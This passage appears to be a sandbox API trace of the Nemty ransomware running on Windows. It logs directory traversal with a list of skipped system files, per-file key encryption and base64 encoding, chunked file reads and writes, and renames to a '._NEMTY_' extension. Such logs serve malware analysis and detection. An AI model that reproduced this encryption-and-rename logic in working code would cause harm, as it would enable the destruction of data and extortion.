dwFlags=0x0, lpWideCharStr="15x15dot.png", cchWideChar=12, lpMultiByteStr=0x653ec58, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="15x15dot.png", lpUsedDefaultChar=0x0) returned 12 [0064.117] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0064.117] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0064.117] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0064.117] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0064.117] Sleep (dwMilliseconds=0x5) [0064.129] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd9def950, dwHighDateTime=0x1d561e7)) [0064.129] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd9def950, dwHighDateTime=0x1d561e7)) [0064.129] GetLastError () returned 0x5 [0064.129] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0064.130] GetLastError () returned 0x5 [0064.130] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0064.130] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0064.130] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0064.130] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0064.130] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0064.130] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0064.130] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0064.130] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e91c | out: pszString="qLLdrOA5sPjR8JZaTAFeGIbO3gHFqjOJ/V/N01Sfisp5jP+AeFn9XGCAnwDV7Iis\r\naUBH4ARPI/MPzJQrvqQya8X/kbSOLuEJdZ6CocVkbAa0/xqSGBHpaYur/KnGQdUT\r\nmuVzITY6cxhLfoMV/c5SgsoCNMscDo50JCox5pwNFn+gV8pDkHi3FFPtJ3DpQ9tC\r\n6H0zDn6v4g2BP6r5gr/96jerOsvBxhBxR+Ujo3Y8qmP/uKhoai/gMZbIWk7slwPV\r\nkSgyIFbpSPR0WtMPqnfz+9lXx9/Qw7kecBQoOzIzc8fZXCQNmSyzjDduGmHKqkuV\r\nBm1lXG63JO6AvIhRoBsEdg==\r\n", pcchString=0x653e91c) returned 1 [0064.130] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0064.130] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0064.130] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0064.130] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0064.130] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0064.130] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0064.130] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\15x15dot.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0064.131] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0064.131] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0064.131] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.131] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0064.140] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.141] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0064.141] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.141] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0064.150] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.150] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0064.150] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.150] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0064.159] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.159] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0064.159] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.159] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0064.169] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.169] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0064.169] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.170] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0064.184] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.185] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0064.185] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.185] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0064.194] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.194] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0064.194] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.194] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0064.203] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.203] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0064.204] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.204] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0064.213] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.213] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0064.213] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.213] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0064.222] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.222] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0064.222] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.222] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0064.246] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.246] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0064.246] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.246] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0064.252] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.252] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0064.252] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.252] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0064.258] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.258] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0064.258] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.259] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0064.259] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0064.259] CloseHandle (hObject=0xffffffff) returned 0 [0064.259] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0064.259] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0064.259] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0064.259] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0064.259] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0064.259] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0064.259] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0064.259] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x4f94328 [0064.259] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0064.259] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0064.259] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\15x15dot.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\15x15dot.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\15x15dot.png._nemty_kgobjgd_")) returned 0 [0064.259] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0064.259] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0064.259] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0064.259] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0064.259] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0064.259] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0064.259] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0064.259] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0064.259] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fad2aeb, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fad2aeb, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d14a237, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x43e2, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="colorcycle.png", cAlternateFileName="")) returned 1 [0064.259] lstrcmpiW (lpString1="colorcycle.png", lpString2=".") returned 1 [0064.259] lstrcmpiW (lpString1="colorcycle.png", lpString2="..") returned 1 [0064.259] lstrcmpiW (lpString1="colorcycle.png", lpString2="...") returned 1 [0064.259] lstrcmpiW (lpString1="colorcycle.png", lpString2="windows") returned -1 [0064.259] lstrcmpiW (lpString1="colorcycle.png", lpString2="$RECYCLE.BIN") returned 1 [0064.259] lstrcmpiW (lpString1="colorcycle.png", lpString2="rsa") returned -1 [0064.259] lstrcmpiW (lpString1="colorcycle.png", lpString2="NTDETECT.COM") returned -1 [0064.260] lstrcmpiW (lpString1="colorcycle.png", lpString2="ntldr") returned -1 [0064.260] lstrcmpiW (lpString1="colorcycle.png", lpString2="MSDOS.SYS") returned -1 [0064.260] lstrcmpiW (lpString1="colorcycle.png", lpString2="IO.SYS") returned -1 [0064.260] lstrcmpiW (lpString1="colorcycle.png", lpString2="boot.ini") returned 1 [0064.260] lstrcmpiW (lpString1="colorcycle.png", lpString2="boot.ini") returned 1 [0064.260] lstrcmpiW (lpString1="colorcycle.png", lpString2="AUTOEXEC.BAT") returned 1 [0064.260] lstrcmpiW (lpString1="colorcycle.png", lpString2="ntuser.dat") returned -1 [0064.260] lstrcmpiW (lpString1="colorcycle.png", lpString2="desktop.ini") returned -1 [0064.260] lstrcmpiW (lpString1="colorcycle.png", lpString2="CONFIG.SYS") returned -1 [0064.260] lstrcmpiW (lpString1="colorcycle.png", lpString2="RECYCLER") returned -1 [0064.260] lstrcmpiW (lpString1="colorcycle.png", lpString2="BOOTSECT.BAK") returned 1 [0064.260] lstrcmpiW (lpString1="colorcycle.png", lpString2="bootmgr") returned 1 [0064.260] lstrcmpiW (lpString1="colorcycle.png", lpString2="programdata") returned -1 [0064.260] lstrcmpiW (lpString1="colorcycle.png", lpString2="appdata") returned 1 [0064.260] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0064.260] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="colorcycle.png", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0064.260] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="colorcycle.png", cchWideChar=14, lpMultiByteStr=0x653ebd0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="colorcycle.png", lpUsedDefaultChar=0x0) returned 14 [0064.260] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0064.260] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="colorcycle.png", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0064.260] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="colorcycle.png", cchWideChar=14, lpMultiByteStr=0x653ebd0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="colorcycle.png", lpUsedDefaultChar=0x0) returned 14 [0064.260] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0064.260] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0064.260] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0064.260] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="colorcycle.png", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0064.260] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="colorcycle.png", cchWideChar=14, lpMultiByteStr=0x653ec20, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="colorcycle.png", lpUsedDefaultChar=0x0) returned 14 [0064.260] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0064.260] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0064.260] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="colorcycle.png", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0064.260] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="colorcycle.png", cchWideChar=14, lpMultiByteStr=0x653ec58, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="colorcycle.png", lpUsedDefaultChar=0x0) returned 14 [0064.260] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0064.260] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0064.260] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0064.260] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0064.260] Sleep (dwMilliseconds=0x5) [0064.270] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd9f465b0, dwHighDateTime=0x1d561e7)) [0064.270] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd9f465b0, dwHighDateTime=0x1d561e7)) [0064.270] GetLastError () returned 0x5 [0064.270] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0064.270] GetLastError () returned 0x5 [0064.270] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0064.270] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0064.270] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0064.270] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0064.270] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0064.270] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0064.270] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0064.270] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e91c | out: pszString="Y86GyNqskhpPMJmZTNoYJrEqcVNzVX5eT2AjUaMlU0E3jNqqiPYpU9MYyO0NKtNt\r\nPlBN5yXS5NlKlMIrPVRaeVqpFdqqt1F5POYPH9f4lDT9ug+iS+SiVTvMeN7OhzhL\r\nBq2JCPBus5PVe1x8p5WMcqc5mAHqA8kwGh2b2xRITlmQlT3z/UaAS2Y3mlMWcTAr\r\nBdOEyHaMEiINEJgknXoyDoZvsqBwBskqrT1SWgOurMkC7HUmma2gHlsvaiY4kZPl\r\n60hbJeHnqkxDPqKm1ZOtPD6cQIV55oyA8KQI25RVlwo0zLMRb362PSohosd7DmQp\r\nPxn/0aIIzUKPOhs9LuMIMg==\r\n", pcchString=0x653e91c) returned 1 [0064.270] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0064.270] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0064.270] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0064.270] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0064.270] RtlAllocateHeap 